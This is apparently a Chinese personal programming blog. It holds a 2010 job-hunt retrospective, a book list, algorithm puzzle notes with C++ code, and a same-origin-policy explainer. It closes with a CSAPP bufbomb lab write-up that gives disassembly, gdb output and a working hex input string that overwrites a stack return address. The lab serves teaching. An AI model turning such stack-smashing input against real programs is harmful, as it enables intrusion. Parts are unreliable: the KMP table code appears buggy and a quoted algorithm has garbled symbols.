Programming & Life

2010回顾

1月份还在趋势实习。从09年最后11月到10年1月份，是在趋势实习最辛苦的日子，白天一直坐在座位上，连厕所都没时间上的写代码，晚上基本上还要到9点以后回来，那段时间经常晚上很晚还在伊家巷那里等清安，有好几次10点多就自己打车回来，等清安是一件非常痛苦的事情，不过人生就是这样，要想得到别人的认可，不是靠夸夸其谈，而是靠自己一点点努力，虽然别人一时半会不会注意到你的努力，但是只要你肯付出，总有收获的时候。这段日子，虽然辛苦，但是很充实。不过充实的生活不一定有意义，虽然你写代码能力不错，解决问题也还行，也许你的优点是勤奋加踏实做事的态度，但是面试的时候这些面试官一般是看不到这些东西的，面试官一般更喜欢那些基础好、又比较会扯的人，虽然做事态度更为重要，但是这些要在长期的接触和了解下才能发现到的。正是基于这方面考虑，加上我语言基础和算法、数据结构方面的薄弱的现状，我决定在过年之后辞掉实习回到学校

2月份上班上到4号，在学校呆了3天7号左右回家的，在家里其实挺无聊的，就那样同学聚聚会，然后过年，家里都喜欢打麻将，不过我虽然会技术也行，但是对那个没啥兴趣，因此过年其实也比较无聊。自从上学，基本上都是一年回家一次，，我在外面，我哥也在外面，嫂子带着侄子住在娘家里，平时就爸妈二个人在家里，他们也挺辛苦的。

然后23号回学校，24号继续去趋势实习，因为之前说好的离职时间是3月15号，刚好这段时间也可以和新来的实习生吴同学做下交接，之前我一个人做的工作现在确有二个人来做，想想就知道我当时的工作量有多大了。不过到了交接的时候，我的工作就比较清闲了，然后白天能在公司上上网，抽空去OJ上刷刷题，过过其他实习生的生活，其实有时就是这样的，你努力写代码、调程序、修BUG，别的人却可以利用这段时间来看书、为找工作做准备，结果努力工作的人反而没有那些上班酱油的结果来的好。

实习的时候伙食不错，再加上经常能蹭到我妹那段时间经常煮的东西，那段时间体重倍增，回答学校已经胖的不成样子。

所以回答学校就开始准备面试的东西，刚开始是看算法，好像看的是算法导论，不过后来其实还是忘的差不多，那个时候花了很多时间在OJ上刷题，OJ上的题目对于一个算法平平的人是非常困难的，首先你得知道怎么解，而且就算你知道怎么解了，你会发现自己敲的程序就算能过掉所有的example，但是还是会经常RE, 所以经常一个题目就要半天，甚至1天2天的都有，这个确实非常能提高你的能力，如果你从大一、大二就开始，肯定收获会非常大，但是对于我即将找工作的来说，OJ上的题目跟面试问到的题目还是有区别的，面试关键是看你的思路和你对算法的掌握能力，比如说求最长回文子串，你知道用后缀树、后缀数组能比较高效的解决，一般面试官都满意了，如果你能说出后缀数组的倍增或者DC3的实现算法思路就可以加分了；但是如果是OJ上的，你必须要一点点的调试，让你的代码能AC掉，这之间的距离其实还是比较大的。

除了OJ，我还做TopCoder的周赛，也是蛮有意思的，但是我一般只能做第一题和第二题，然后时间就结束了。不管是OJ还是TopCoder，对提高自己的能力绝对是有帮组的，这个越早进入越有优势，但是作为面试应付算法问题来讲，不能讲非常有效。

那个时候其实还找了贺、王去参加江苏软件设计大赛，基本上开始每个礼拜都在讨论，按理说二个大牛在，其实我们实习还是不错的，不过由于我这个不太合格的队长的作用没发挥好，结果这个比赛还是流产了。其实这也是我和曹的差距所在，如果是曹来当这个队长，估计最后结果就会是另一番景象了，这也使得我发现自己暂时在领导才能上还有所欠缺的，必须在技术上有了深刻的积累才能更好的做好领导者的角色。

4月份还去MOTO面了次实习生，面试相当水，10分钟就解决了，一个技术问题没问就拿到实习OFFER，估计是因为趋势的实习经历的原因，后来还听趋势的manager说MOTO还找他问过了，真汗…虽然MOTO的实习待遇还是不错的，不过后来考虑到还是应该好好看书积累下对将来找工作更有帮组。

因为暑期时间比较短，所以一般光暑期实习一般不太好找到比较好的地方。所以后来5月份最开始想打算暑假继续去趋势实习的，Manager也打电话来跟我说好了说6月中旬过去，

不过后来由于有Baidu的面试机会，再加上自己想找个更有影响力的实习单位，所以打电话跟manager说实话说不想去趋势实习了，想尝试下更好的地方比如百度，当时manager就有点发火挂了电话，这件事我到现在依然耿耿于怀，感觉对不起manager。

在6月份非常有幸的得到了第一届的Google奖学金，这应该是2010年唯一值得高兴的一件事。

暑期实习总共有投过IBM、MS和Baidu的实习职位，其中MS在南大安排场笔试，自认为还笔的不错，但是后来杳无音讯，不知道是走了过场根本没在这边招人还是有大牛已经去了，反正MS就这样没了。还是Baidu比较正式，先在网上有个答题，然后二轮电面，面的东西包括C++、算法、操作系统（线程、进程、虚拟内存、并发）、数据库、项目等。然后第三面去面上海面的，问的问题是搜索引擎有三个要素，时效性、覆盖性还有个啥忘了，就其中一方面会问你，反正就是扯。然后一直没有消息，后来那个三面面试官来学院做宣讲的时候，我说当时实习面试挂掉了有影响不，他说是你是在pending，其实不就是挂了嚒..反正自己三轮面试面的一般，所以挂了也在情理之中。不过百度的挂掉其实也是非常有好处的，让我意识到自己的基础还有很大的空间需要提高，所以从百度实习挂掉开始我就开始阅读大量的技术书籍，基本上一个礼拜2-3本书这样字，然后有些书还看了好几遍。到8月份左右的时候，IBM来了实习的电话面试，是通过电话一对多的面试，我用手机，那边电话开着免提，一会这个人一句那个人一句，感觉比较杂，再加上马上要找工作了我说实习时间最多到10月份，反正最后就这样也挂掉了。

谈到暑期实习不得不提的是，如果你十分中意的公司有暑期实习的机会强烈建议能去暑期实习，这样对最后拿到OFFER非常有好处的。IT公司就不讲了，像广移能去实习的就基本就能够留下，有些公司甚至当年应届的职位都会给实习生了像华泰证券的IT部门今年都没找应届生，而是只留下二个暑期实习生。

正是因为没有去实习，所以暑假那段时间有了充分的时间来看书。因为在实验室看书不能完全集中精神，所以白天我好多时间就待在宿舍，没有电脑，没有其他人，就自己一个人，如果床上看累了就跑到椅子上坐着看，如果椅子上不想看了再跑到床上去，这样效率会比较高，一般一天都能看100页左右；然后晚上的时候，就跑到实验室去写写代码，看看网上的题目，然后看看电影，所以那段时间真的是非常充实也非常有收获。看了书包括

《深入理解计算机系统》

（这本书真的很不错，非常多的面试题都是从里面演化出来的，特别是对虚拟内存的讲解非常不错），

《现代操作系统(Modern Operating System)》

         比如文件系统，线程、进程区别、中断等等操作系统的概念都讲的比较清楚

《数据结构(清华大学)》

         这本书应该说是后来到9月份才看，这本书也非常不错，特别是排序那部分，我敢肯定没多少人能写出对数组的归并排序

《算法导论》

         这本书就不讲了，都比较熟悉，还记得百度问过不死虫的一个 The hiring problem的变形。还比如为有个很常见的面试题二个有序数组中找中位数，其实就是CLRS的一个习题。5月份看过，不过主要看了些比较常用的章节。

《数据结构与算法 用C语言描述》

         算法导论讲算法都是用伪代码的，这本书的所有算法都是用C语言实现的，而且习题也不错，大致看过一遍。

《编程之美》

         总之1/3的面试的算法题都可以在上面找到，我算看过二遍吧，还不错。

Careecup出了一本关于面试题的算法书

         还有个http://www.careercup.com/收集算法题的，不过好像被墙了。

《Effective C++/More Effective C++/ Effective STL》

         Effective系列太出名了，基本上所有的C++方面的基础题都是来自前面二本

《OJ: 程序设计导引及在线实践》

         这本书是和一个OJ相结合的，有100多道题目，里面题目是分类的，而且难度不大适合锻炼写code的能力，不过我才做了60道左右。

《STL源码解析》

对于了解STL非常好，不过个人觉得还是有点难度的，看了二遍，感觉还是有很多地方值得继续琢磨的。

《C++ Primer》

         记得上次潘MM讲的挺对，这本书其实并不适合从头翻到尾，而是适合作为参考书查阅，比如我想知道关于异常的部分，当时以专门找相应的章节好好看看过。

《Inside C++ Object model》

         这本书我看了二遍，只能说非常好，对于了解C++底层的东西。

《计算机网络》

         关于网络方面，我4月份就看了一遍，到了暑假又看了一遍还是很多很纠结，名词比较多，而且蛮多需要理解和记忆的，不过还是很值得好好看。

         另外关于网络的《用TCP/IP进行网际互联》第一卷讲基础，讲的挺好的我看过，第三卷讲网络编程的我没怎么看。

《深入浅出设计模式》

         看过二遍，和面试官扯设计模式非常好，基本能秒杀掉面试官。设计模式我还看过《大话设计模式》，不过这本书讲的太浅了，基本上就看看可以，感觉没啥实质的东西，而且把所有的设计模式都讲了遍，而不像《深入理解设计模式》重点讲了几个重要的设计模式。

《UNIX高级环境编程》

         我买的英文原版的，看的很吃力，没看完。不过只要能看完这本书，进百度完全没问题。

《编程珠玑》

         这本书可以适合当课外读物，我也看了二遍，还不错，计算机方面的巨著了吧。还有个编程珠玑2，在网上买经常有人弄错编程珠玑第二版和编程珠玑2.。

         此外，我其实也写过前段，所以也看了下《JavaScript高级程序设计》，《JavaScript权威指南》相对后者前者应该讲的更好点。

         除了白天看书，我晚上还会去实验室看看一些网页，这里也列下：

1.       用Google Reader订阅的http://www.careercup.com/，

2.       还有题酷发芽网http://fayaa.com/tiku/view/， 曹如今基本上把所有的地方都写代码实现了遍，我只是看了遍，没动手写过，还是应该像曹学习，收获更大。

3.       另外还有个何海涛的IT面试100题  http://zhedahht.blog.163.com/ 加上《编程之美》可以占2/3的面试算法题。

4.       还有个是 Mitbbs Jobhunting版面：http://www.mitbbs.com/bbsdoc/JobHunting.html，里面都是美国的一些面试题，都是美国一些大公司的面试题，题目不错，不过中国这边好像同样的题目用的不多。

暑假过了之后就到9月份了，因为计算机类的招聘都比较早，这个时候基本上就开始找工作了，开始各种找人内推，上更大bbs包括东大虎踞龙盘、南大小百合、上交的bbs、还有水木社区和北大的bbs，各种网申和投简历。

找工作是个悲剧的过程，具体过程回忆起来感觉比较惨不忍睹，这里来说说简历，关于简历，简历是给面试官的第一印象，写好简历是一门学问，需要你一遍遍的思考一遍遍的更改，如果你用版本管理器管理自己的简历，你会发现简历的版本从最初的1.0版有可能到最后第10版，第20版，我自己的简历也改过10遍以上。简历就好比BBS的征友帖子，你得用貌似平淡的话讲出自己优势，如果太含蓄了是吸引不了人，如果太直白同样会引起别人的反感。多用数字和实例来讲事实，让看你简历的人来自己下结论。比如你成绩好，你可以用GPA3.9/4.0、各类奖学金、保送这样的事实来告诉别人，再比如说你用负责什么活动，然后获得好评之类的事实就比你干巴巴的讲自己组织才能优秀更能打动人。

其实相比最后笔试、面试来说，我觉得还是前期的准备最重要，如果能向Cao一样，获得各种ACM的奖励，最后进入ACM全球总决赛，这样的人才各个公司都会抢着要的，根本不用谈什么笔试面试技巧；但是毕竟这样的经历不可复制，大多数人还是普通人，需要按照自己的方式来努力一步步的获取自己想要的东西。

前几天和一个经管的同学聊天，她现在还没拿到OFFER，我就让她和周围同学比较下为什么人家能拿到offer而你没拿到，她说周围人投的公司她不想去，她投的公司周围的人没投；然后我问她难道没人拿到比较好的OFFER么，她说有些牛人拿到了，然后我又问她为什么牛人能拿到你拿不到呢，她告诉我说人家又会学习又会玩又有能力。然后我告诉她说你看到的都是表象，你得找出人家为什么比你牛的本质原因。

好比大家都看到Cao很牛，但是又有多少人想过自己为什么不想他一样牛呢，有多少人知道Cao为了写代码加了多少班，通了多少宵，又过过多少寒暑假。如果能深究到这些层面，会发现只要努力即使成不了大牛，你也能成为小牛。

到11月初，基本上工作就结束了，不过当时还是有蛮多好的机会的，所以如果到时候还没拿到好的OFFER的话，完全不用太着急，不过我已经找工作找伤掉了，到11月就放弃找工作了。本来在11月初拒了淘宝的OFFER，不过后来淘宝的南天师兄打电话来说不要那么急着拒，先过来看看，所以23号过去杭州参加淘缘聚活动， 总共三天时间，了解淘宝文化然后逛了下西溪湿地和西湖，总的来讲3天的活动感受还是蛮深刻的，淘宝办事非常用心，从吃饭到活动安排，再到往返的报销，处处让人感受非常舒服。另外淘宝文化非常开放和平等，而且牛人很多，我感觉在3-5年之内应该能超过百度。所以如果要做技术的话，特别是Java这块还是非常推荐淘宝的。

12月份开始写毕业论文，不过没啥思路，也非常苦闷，不过天天睡到中午倒是非常舒服。

关于2010年一句话来总结就是，平淡缺少激情。总之，不太顺的本命年也快过去了。感谢父母，感谢老师，感谢身边的朋友们！

展望2011年，希望

1.       论文搞定，顺利毕业。

2.       入职顺利，工作顺利。

3.       父母和朋友们身体健康

4.       ….

5.       多锻炼身体

6.       看10本左右的书（7本左右专业书，3本文艺书籍）。

题目来自：http://fayaa.com/tiku/view/179/ 描述如下：

在一个盒子里面有N根绳子，这个N根绳子的中间部分放在盒子里面，不可见，但是这个N根绳子的两端露在盒子外面，所以我们能看到2N个绳头。 随机选取2个绳头并打结，直到所有的绳头都打上结。最后这些打结的绳子会形成许多环。请问环数目的期望值是多少？

这个题目可以通过归纳法来看：

假设绳子个数为n时，环的期望为E(n)

n=1 E(1) = 1 

一根绳子只能和自己打成一个环，概率为1

n=2 E(2) = 1/3 * 2 + 2/3 * 1 = 4/3

二个绳子任取一段，有1/3的概率和自己另外一段相连，则形成2个环；有2/3的概率和另外一条绳子一端相连，形成1个环

n=3 E(3) = 1/5*(1+E(2)) + 4/5 * E(2)

1/5的概率与自己相连形成一个环，则剩下为2条绳子的情况

4/5的概率和别的绳子相连，则图中1和2组成了一条新的绳子，此时即为2条绳子的情况：

故E(n)=1/(2n-1) *[1+E(n-1)] + (2n-2)/(2n-1) * E(n-1) = 1/(2n-1) + E(n-1)

则E(n) = 1/(2n-1) + 1/(2n-3) + 1/(2n-5) + … +1/5+ 1/3 + 1

假设二个矩阵是水平的，矩阵的定义为

struct Rectangle
{
    double x1, y1;
    double x2, y2;
};

如果二个矩阵不相交则只可能是以下四种情况：

1. 矩阵A的左边在矩阵B右边的右方

2. 矩阵A的下边在矩阵B上边的上方

3. 矩阵A的右边在矩阵B左边的左方

4. 矩阵A的上边在矩阵B下边的下方

即二个矩阵不相交则要满足

cond1 OR cond2 OR cond3 OR cond4

如果相交则取反为：

Not cond1 AND Not cond2 AND Not cond3 AND Not cond4

翻译成代码即为：

if(Rect1.x1 <= Rect2.x2 && Rect1.x2 >= Rect2.x1
   && Rect1.y1 >= Rect2.y2 && Rect1.y2 <= Rect2.y1)

如果不相信，这里有个例子可以测试.

今天无意中发现了个题目,类似于螺旋矩阵

Please input a number:10

    1    2    6    7   15   16   28   29   45   46

    3    5    8   14   17   27   30   44   47   64

    4    9   13   18   26   31   43   48   63   65

   10   12   19   25   32   42   49   62   66   79

   11   20   24   33   41   50   61   67   78   80

   21   23   34   40   51   60   68   77   81   90

   22   35   39   52   59   69   76   82   89   91

   36   38   53   58   70   75   83   88   92   97

   37   54   57   71   74   84   87   93   96   98

   55   56   72   73   85   86   94   95   99  100

开始自己模拟了下，虽然输出结果了，但是代码分支太多，看起来比较繁杂，遂去google了下，发现这个矩阵是一种图形的表示形式，名字叫 Zig-zag matrix.

而且这里给出了各种语言的实现，特别是C#的实现感觉很优雅，遂把之改成了C++版的。其思想也是模拟的过程，其中：

1. 根据对称性同时处理左上部和右下部

2. 根据d=1或者d=-1判断当前移动方向(d=-1向右上移动, d= 1向左下移动）

具体看代码就很清晰：

#include<iostream>
#include <cstring>
using namespace std;

void print(int n)
{
    int * a = new int[n*n];

    int start = 1;
    int end = n * n;

    int i = 0, j = 0;
    int d = -1; //d = -1 top-right move; d = 1 bottom-left move

    while(start <= end)
    {
        a[i * n + j] = start++;
        a[(n - i - 1) * n + (n - j - 1) ] = end--;

        i += d;
        j -= d;

        if(i < 0)
        {
            i++;
            d = -d; //change move side
        }else if(j < 0)
        {
            j++;
            d = -d;
        }
    }

    //only for print
    for(i = 0; i < n*n; i++)
    {
        cout<<a[i]<< " ";
        if(i % n == (n-1)) cout<<endl;
    }

    delete[] a;

}


int main()
{
    print(10);
    return 0;
}

KMP算法还真是不好理解，昨天又翻了下以前写的东西,又重新参考了下这里, 把代码重新写了遍。

#include <iostream>
#include <string>

using namespace std;

class KMP
{
public:
    KMP(string text, string pattern):text(text), pattern(pattern)
    {}
    int search()
    {
        int len_p = pattern.size();
        int len_t = text.size();
        int * table = new int[len_p];
        geneTable(table, len_p);

        for(int i = 0; i< len_p; i++)
        {
            cout << table[i] << " " ;
        }
        cout<<endl;
        for(int i = 0, j = 0; i < len_t; i++)
        {
            for(;;)
            {
                if(pattern[j] == text[i])
                {
                    j++;
                    if(j == len_p) return i - j + 1;
                    break;
                }
                else if(j == 0) break;
                else
                {
                    j = table[j];
                }
            }
        }
        delete [] table;
        return -1;
    }

private:
    void geneTable(int table[], int size)
    {
        if(size > 1)
        {
            table[0] = -1;
            table[1] = 0;
        }
        int cur = 2;
        int ret = 0;
        while(cur < size)
        {
            if(pattern[cur-1] == pattern[ret])
            {
                table[cur++] = ++ret;
            }
            else if(ret == 0)
            {
                table[cur++] = 0;
            }
            else
            {
                cur = table[cur];
            }
        }

    }
private:
    string pattern;
    string text;
};

int main()
{
    string text =  "abcdeabeabab";
    string pattern = "abab";

    KMP kmp(text, pattern);
    cout << kmp.search() << endl;
}

问题答案点这里.

从pongba上摘一段话：

O(n) 's algorithm is quite complicated. The challange here is to find
the representative element of each cyclic group which in total are a
permutation.

Here are two papers, one is based on number theory, the other is based
on recursive algorithm (and some number theory).

http://www.cs.uvic.ca/%7Ejellis/Publications/shuffle.ps [Source:
http://zhiqiang.org/blog/posts/an-algorithm-face-interviews-question-...]

or:
http://arxiv.org/pdf/0805.1598

Method 2 is easier and interesting. [The idea in this paper is quite
interesting]

As far as I know, there is no trivial solution (w/o number theory) in
O(n). Don't touth this problem w/o basic Number Theory background.

没有数论基础理解起来那是相当的费力啊，这里我只是做下笔记，而且我还没有完全理解这个问题。其算法如下：

Input: An array A[1, . . . , 2n]
Step 1. Find a 2m = 3k − 1 such that 3k 2n < 3k+1
Step 2. Do a right cyclic shift of A[m + 1, . . . , n + m] by a distance m
Step 3. For each i 2 {0, 1, . . . , k − 1}, starting at 3i, do the cycle leader algorithm
for the in-shuffle permutation of order 2m
Step 4. Recursively do the in-shuffle algorithm on A[2m+ 1, . . . , 2n].

这里的解释稍微容易懂点

主要是从Method2来谈我的理解. 关键点：

1. 题目要实现的是i 到 2*i %(2n+1)的置换。 为什么不能直接置换呢? 如果从1到n来做置换，会覆盖后面的值，因为只有0(1)的空间。而整个置换不能构成1个环。

2. 为什么要3^k-1？ 因为1 ~3^k – 1 可以分解成k个环每个环分别有元素1,3, 3², 3³, 3⁴ ,….3^k-1.而且这些环刚好不重合而且覆盖了1到3^k-1. 这样就能按照i=0到k-1对以3ⁱ为起始元素来进行i 到 2*i %(2n+1)的置换。

3. 如果2n不刚好等于3^k – 1，那么通过找到一个2m= 3^k-1 – 1, 然后循环右移[m+1, n+m]m位，即交换[m+1, n]和[n+1, n+m]，然后对前2m位按照前面所说的做循环置换。然后递归的处理后面的2m+1~2n位。 为什么要旋转我还没搞清楚。

格雷码(Grey Code)又称循环二进制码或者反射二进制码，其相邻的二位二进制表示中仅有一位不同。

比如2位的格雷码为：

00 01 11 10

三位的格雷码为：

000 001 011 010 110 111 101 100

格雷码的构造可以递归的进行：

n位的格雷码可以由n-1位的格雷码构造，先把所有的n-1位格雷码前加0; 然后把n-1位格雷码颠倒顺序后在所有码字前加1. 比如, 三位的格雷码可以由二位的格雷码构造而来：

(0)00 (0)01 (0)11 (0)10   (1)10 (1)11 (1)01 (1)00

格雷码还可以顺序的构造：

1. 第一个格雷码为0，

2. 按照顺序，排在奇数位置的格雷码和前一位二进制表示中仅最后位不同

3. 排在偶数位置的格雷码和前一位格雷码二进制表示中的最右边1的左边一位不同。

比如： 

0：000 

1：001 // 奇数位置改变前一个的最后一位

2：011 //偶数位置改变前一个最右边1的左边1位

3：010 

4：110

....

代码
(..More)

JavaScript 不能跨域，是由于JavaScript安全中的 同源策略(The Same-Origin Policy)来规定的。

源是由URL中的协议(protocol)、主机(host)和端口(port)组成, 所以同源是指协议、主机和端口都必须相同。例如：

https://example.com和http://example.com是不同源的,

http://developer.example.com和http://orders.example.com也是不同源的

http://example.com和http://example.com:8000也是不同源的

同源策略是指

1. 一个页面中多个frame或者多个window, JavaScript只能操作同源的对象。

举个例子比较好理解： 有一个frame A嵌套了另一个frame B,如果A和B不同源，则A中JavaScript不能操作B的dom对象。

为什么呢？假设某个人做了个frame嵌套了另一个网站的登录页面，如果没有同源策略保证，在frame中取得登录时输入的用户名和密码，这肯定是不安全的。

2. 发送HTTP请求的时候(比如通过XmlHttpRequest)，只能向同源的地址发送。

注意的是同源策略只对HTML文档对象做了限制，对静态的资源文件比如js文件(<script>)、CSS文件、iframe和img通过src属性导入的是没有违反同源策略的。

另外一点是同源策略跟srcipt来自哪里也没关系，比如说你的网站用到的jquery，但是jquery文件是是google提供的，虽然google跟你的网站不同源，但是你仍然可以使用Jquery提供的函数来操作文档对象。

正是由于同源策略的存在导致了JavaScript不能跨域，而在某些场合又有跨域的需求，下面给出一些解决办法：

对于不同子域(二级域名不同)的跨域的问题可以通过改变文档对象的domain属性

比如：有二个不同源的域: developer.example.com 和 order.example.com, 可以通过设置文档对象的domain属性，比如把二个均设为example.com，这样就符合同源策略了。要注意的是，domain只能设为它本来域的有效后缀，另外domain必须包含至少一个“.”, 比如order.example.com不能设为com、order.example或者order.com.

对于其他情况比较常见的解决方法有：

jsonp(JSON with Padding): 简单点说，异步请求跨域的服务器端时，不是直接返回数据，而是返回一个js方法，把数据作为参数传过来。这需要服务器端稍作修改，如果只是跨域传递数据（而不是DOM操作），个人认为这种方式是最好的。参考内容：使用 JSONP 实现跨域通信

服务器端代理： 由js请求同源的服务器端，再由服务器端做代理来实现跨域的请求。参考内容：ajax跨域之服务端代理

动态创建script:虽然浏览器默认禁止了跨域访问，但并不禁止在页面中引用其他域的JS文件，并可以自由执行引入的JS文件中的function，根据这一点，可以方便地通 过创建script节点的方法来实现完全跨域的通信有点XSS跨站脚本攻击的意思，所以安全性方面需要仔细评估。这也是所有GreaseMonkey的实现方式，比如sogou的云输入法。

iframe 代理：iframe和主页面不在同一个域，但iframe 需要操作主页面的DOM结构，这个时候用iframe代理可实现，比如iframe高度自适应，只要在iframe中再插入一个与主页面同域的iframe,把参数传递过去即可。

缓冲区溢出(Buffer overflow):由于C不对数组边界进行检查，当在栈中分配的数组来保存字符串时，如果字符串长度超过数组分配的空间，则会破坏存储在栈中的状态信息从而引发错误。

以前也大致知道这个概念，知道通过缓冲区的溢出改变返回地址，但是从来没试验过，昨天刚好看到CSAPP习题3.38，要求利用缓冲区溢出，使程序bufbomb.c，打印 "getbuf returned 0xdeadbeaf".

便想尝试下动手做这个实验，结果由于1. 对汇编不太熟悉; 2. 对函数调用和返回的入栈、出栈过程不是很清楚; 3.对GDB调试的指令不熟悉 弄了下午加晚上才搞定。

bufbomb.c 最主要的就是下面这段代码，其中getxs每次读入二个字符16进制字符，转换成对于的ASCII码存放在buf中，也就是说buf中每个字符存放的是输入的16进制对：

int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}

void test()
{
  int val;
  printf("Type Hex string:");
  val = getbuf();
  printf("getbuf returned 0x%x\n", val);
}

要想达到题目的要求，很明显是在函数getbuf()调用的过程中，通过字符数组buf的溢出，修改val的值为0xdeadbeaf.但是光是这样是不行的，因为即使你修改了val值，当getbuf()返回的时候，仍然会重新把val值设为1，所以还要修改getbuf()的返回地址。

为了达到这一目的，首先对bufbomb.c 进行编译，(我这里带-g可以调试选项，原因在后面介绍)和反汇编：

gcc -g -o bufbomb bufbomb.c
objdump -d bufbomb

可以看到我们关注的getbuf和test对应的汇编代码如下：

080484d4 <getbuf>:
 80484d4:       55                      push   %ebp
 80484d5:       89 e5                   mov    %esp,%ebp
 80484d7:       83 ec 18                sub    $0x18,%esp
 /***
  * 上面二行是函数调用的一般过程：
  * 每次函数调用都需要栈上分配一定空间，这块区域叫做帧栈
  * 寄存器%ebp和%esp分别指向这块区域的起始位置和终止位置
  * 具体步骤为：
  * 1. 将当前%ebp指向的值入栈，也就是保存前一个帧栈的起始位置
       因为这里是test调用getbuf，所以保存的其实是test的帧栈的起始位置
  * 2. 把%ebp值设为%esp,即标明本次调用帧栈的起始位置
  * 3. 把%esp减除0x18,即把%esp向下移动24个位置
  *     %ebp和%esp之间即为本次调用所使用的栈空间
  ***/
 80484da:       8d 45 f4                lea    0xfffffff4(%ebp),%eax
 /***
  * 把%ebp的值减去12（buf地址）放到寄存器%eax中，
  **/
 80484dd:       89 04 24                mov    %eax,(%esp)
 /**
  * 把%eax的值(buf地址)放到%esp指向的位置,getxs的参数入栈
  * 可以看到如果P调用Q，Q的参数其实是保存在P的帧栈中的
  **/
 80484e0:       e8 1f ff ff ff          call   8048404 <getxs>
 /**
  * call 把返回地址入栈，也就是把下条指令地址80484e5入栈，
  * 因为当call返回时，是从下条指令开始执行的，
  * 然后跳转到getxs的地址
  */
 80484e5:       b8 01 00 00 00          mov    $0x1,%eax
 /**
  * 把返回值存放到寄存器%eax中
  **/
 80484ea:       c9                      leave
 /**
  * leave指令等价于：
  *  movl %ebp, %esp
  *  popl %ebp
  *
  **/
 80484eb:       c3                      ret
 /**
  * ret 指令把返回地址弹出，并跳转到那个地址
  **/

080484ec <test>:
 80484ec:       55                      push   %ebp
 80484ed:       89 e5                   mov    %esp,%ebp
 80484ef:       83 ec 18                sub    $0x18,%esp
 80484f2:       c7 04 24 50 86 04 08    movl   $0x8048650,(%esp)
 /**
  * 把字符串"Type Hex string:"地址放到%esp指向的地方，
  * 即为printf的参数
  */
 80484f9:       e8 1e fe ff ff          call   804831c <printf@plt>
 80484fe:       e8 d1 ff ff ff          call   80484d4 <getbuf>
 8048503:       89 45 fc                mov    %eax,0xfffffffc(%ebp)
 /**
  * 把getbuf的返回值放到地址为(%ebp-4)去，即为val保存的地方
  *
  **/
 8048506:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 /**
  * 把val的地址放到%eax中去
  **/
 8048509:       89 44 24 04             mov    %eax,0x4(%esp)
 /**
  * 把%eax值即val地址放到地址为(%esp-4)位置，参数入栈
  **/
 804850d:       c7 04 24 61 86 04 08    movl   $0x8048661,(%esp)
 /**
  * 把"getbuf returned 0x%x\n"的地址放到%esp所指的位置
  * 参数入栈
  **/
 8048514:       e8 03 fe ff ff          call   804831c <printf@plt>
 8048519:       c9                      leave
 804851a:       c3                      ret

从而可以得到栈如图所示：

从图中可以看到，只要从buf地址开始填充数据可以设置val的值；但是注意的是

1. [test的%ebp]要保持不变。因为从汇编代码解释可以看到[test的%ebp]是返回时需要的值，不然不知道test的帧栈位置,  也就无法定位test中的局部变量位置. 而要知道[test的%ebp]需查看getbuf的帧栈%ebp地址所指向的值(分清%ebp的值是栈的地址和%ebp所指值时是地址位于%ebp的值)，这就需通过gdb调试查看%ebp所指的值这也正是编译时加-g的目的。

2. 修改getbuf的返回地址。从汇编代码可以看到getbuf的返回地址指令

0x08048503 mov %eax,0xfffffffc(%ebp)

是把%eax值（存放的返回值0x01)赋给val，而我们要改变val值，所以这条指令不能执行，可将返回地址改到下条指令处即0x08048506。

3. 可以注意到在函数getxs中,会在buf末尾添加'\0'，

*sp++ = '\0';

这样需要不但把val的值改为0xdeadbeaf，还要修改test中保存的main函数的%esp位置和test的返回地址，不然'\0'会污染这二个地方的值。

4. 最后注意，数据在自己机器中是大数端还是小数端。

附带自己机器上的调试信息：

(gdb) b test
Breakpoint 1 at 0x80484f2: file bufbomb.c, line 55.

(gdb) b getbuf

Breakpoint 2 at 0x80484da: file bufbomb.c, line 48.

(gdb) r
Starting program: /home/leon/csapp/bufbomb

Breakpoint 1, test () at bufbomb.c:55
55        printf("Type Hex string:");
(gdb) x/4b $ebp
0xbfa4dfd8:     0x78    0xea    0xa4    0xbf
(gdb) x/4b $ebp+4
0xbfa4dfdc:     0x6e    0x85    0x04    0x08
(gdb) c
Continuing.

Breakpoint 2, getbuf () at bufbomb.c:48
48          getxs(buf);
(gdb) x/4b $ebp
0xbfa4dfb8:     0xd8    0xdf    0xa4    0xbf
(gdb) x/4b $ebp + 4
0xbfa4dfbc:     0x03    0x85    0x04    0x08
(gdb) c
Continuing.
Type Hex string:aabbccdd aabbccdd aabbccdd d8dfa4bf 06850408 aabbccdd aabbccdd aabbccdd aabbccdd aabbccdd afbeadde 78eaa4bf 6e850408
getbuf returned 0xdeadbeaf

Program exited normally.
(gdb)

栈空间为：

在简历上写了熟悉JavaScript, 写倒是写过不少, 可是从来没有好好系统的看过JavaScript的书。最近几天去图书馆找了本《JavaScript高级程序设计》看，看完后发现这本书讲的还是比较基本，好多问题没有讲清楚，比如闭包、原型继承等比较重要的概念。遂又去找了本英文版的《JavaScript:The Definitive Guide》电子书看，发现这本书写的相当不错，强烈推荐学JavaScript的人看，建议看原版，语言相当简单易懂，对前面那本书许多没有讲清楚的概念讲的相当不错，而且还有不错例子可以学习。

stackoverflow上这个关于what-every-javascript-programmer-should-know讨论的非常好，特别是下面回复说的你如果不知道这些就不能说你知道JavaScript. 此外youTube上的JavaScript: The Good Parts的视频也非常不错。

You don't know JavaScript if you don't know:

1. Closures
2. Prototype-based inheritance
3. The module pattern
4. The W3C-DOM
5. How events work